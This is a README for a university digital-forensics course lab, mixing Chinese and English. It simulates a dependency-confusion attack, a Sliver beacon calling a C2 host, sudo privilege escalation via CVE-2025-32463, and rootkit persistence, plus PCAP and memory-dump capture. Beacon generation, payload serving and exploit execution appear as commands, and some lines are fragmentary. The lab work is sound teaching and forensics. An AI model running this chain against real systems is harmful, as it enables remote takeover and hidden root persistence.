端到端模拟 Python 依赖混淆攻击、sudo 权限提升(CVE-2025-32463)以及基于 rootkit 的持久化——附带完整的内存和网络取证分析。
本项目是在 Technische Hochschule Deggendorf 的 Digitale Forensik 课程中开发的。
它展示了一次完整的法证调查和攻击模拟,涉及:
该仓库包含脚本、设置说明、工件以及详细的分析步骤,可复现攻击和法证调查。
shell)
shell 二进制文件
CVE-2025-32463
NVD 详情
POC Github
[!NOTE]
您必须安装易受攻击的 Sudo 版本(支持 chroot——请参阅privesc/setup.sh)
sequenceDiagram autonumber participant Attacker participant PyPI participant IntDep as Internal Dep Server participant Dev as Developer participant C2 as C2 Server
Attacker->>PyPI: Publish package with version v1.0.3
Dev->>IntDep: pip install
IntDep-->>Dev: Returns v1.0.1
Dev->>PyPI: Fallback pip install package==v1.0.3
PyPI-->>Dev: Returns malicious v1.0.3 (stager)
Dev->>Dev: Executes stager (package_evil)
Dev->>C2: Beacon/Sliver implant calls home
Note right of C2: Attacker now has RCE
Attacker->>Dev: Enumerates sudo version (1.9.16p2)
Attacker->>Dev: Runs CVE-2025-32463 exploit
Note right of Dev: PE to root
Dev->>Dev: Downloads & runs rootkit loader binary
Dev->>Dev: Loader installs kernel module & configures udev rule
Dev->>Dev: Schedules reboot
Note right of Dev: Attacker established persistence
Dev->>Dev: System reboots
Dev->>Dev: Udev loads kernel module on boot
Dev->>C2: Kernel-stage beacon calls C2
# 生成工件
所有工件均为手动生成。你将使用两台机器:
- **攻击者机器**(Kali Linux)
- **开发者机器**(Ubuntu)
我们将产生三个工件:
- **PCAP**(重启前)
- **内存转储**(重启后)
## 创建内存转储
[如何转储 VirtualBox 内存](https://www.ired.team/miscellaneous-reversing-forensics/dump-virtual-box-memory)
在宿主机系统上:```shell
vboxmanage list vms
"linux-root-kit_default_1752261916398_20346" {c2d4b5bc-d87f-4dcb-af01-85b78c163fef}
virtualboxvm --startvm "linux-root-kit_default_1752261916398_20346" --dbg
转到界面 --> 调试 在调试控制台 (VMMR0> 提示符):```shell .pgmphystofile 'dumpmem_linux_root_kit'
## 在Ubuntu上准备网络转储
在模拟开发者之前启动。`! port 22` 可用于不记录vagrant ssh连接。```shell
sudo tcpdump -w output.pcap ! port 22
shell)vagrant up
这可能需要一些时间 --> 下载一个用 Bento 构建的完整虚拟机。
## 2. 虚拟机启动后,通过 SSH 登录: ```shell
vagrant ssh
sudo bash /vagrant/privesc/setup.sh sudo apt install python3.12-venv
## 4. 构建用户态加载器二进制文件(`shell`):
你也可以执行 `make` 文件来构建用户态二进制文件 `shell`。这是最简单的方法——否则你需要先安装正确的头文件 :P。
## 5. 将 `shell` 发送到 Kali,以便之后从那里提供它。
# 配置 Kali (192.168.56.101)
## 1. 启动 Sliver 服务器 ```shell
sliver

generate beacon --os linux --format elf --arch amd64 --http 192.168.56.101

## 3. 重命名并服务信标 ```shell
mv INTERNATIONAL_DETENTION lilux
python3 -m http.server 9001
http -l 80 -L 0.0.0.0
# 模拟开发者
## 1. 克隆 PoC
这个仓库可以是任何具有易受依赖混淆攻击配置的仓库 :D。 ```
git clone https://github.com/IC3-512/dependency-confusion-attack.git
python3 -m venv .venv source .venv/bin/activate
## 3. 安装依赖 ```
pip install --upgrade --force-reinstall --no-cache-dir -r requirements.txt --verbose
python3 app.py
This should start the malicious package, which loads our beacon and executes it.
# Simulate the Attacker
_(Bad opsec xD)_
## 1. Wait for the Beacon and inspect the sudo version:

 ```
sudo -V
exploit.sh 来自 pr0v3rbs (Github 链接),并针对 sudo。
这个 shell 二进制文件来自 Ubuntu 配置过程中的上一步。
这是在 sliver server tui 中完成的: ```shell upload exploit.sh upload shell
## 3. 执行 Sudo 漏洞利用
这是在 sliver OBVIOUS_MEASUREMENT 会话内部的 shell 中执行的。 ```shell
bash exploit.sh
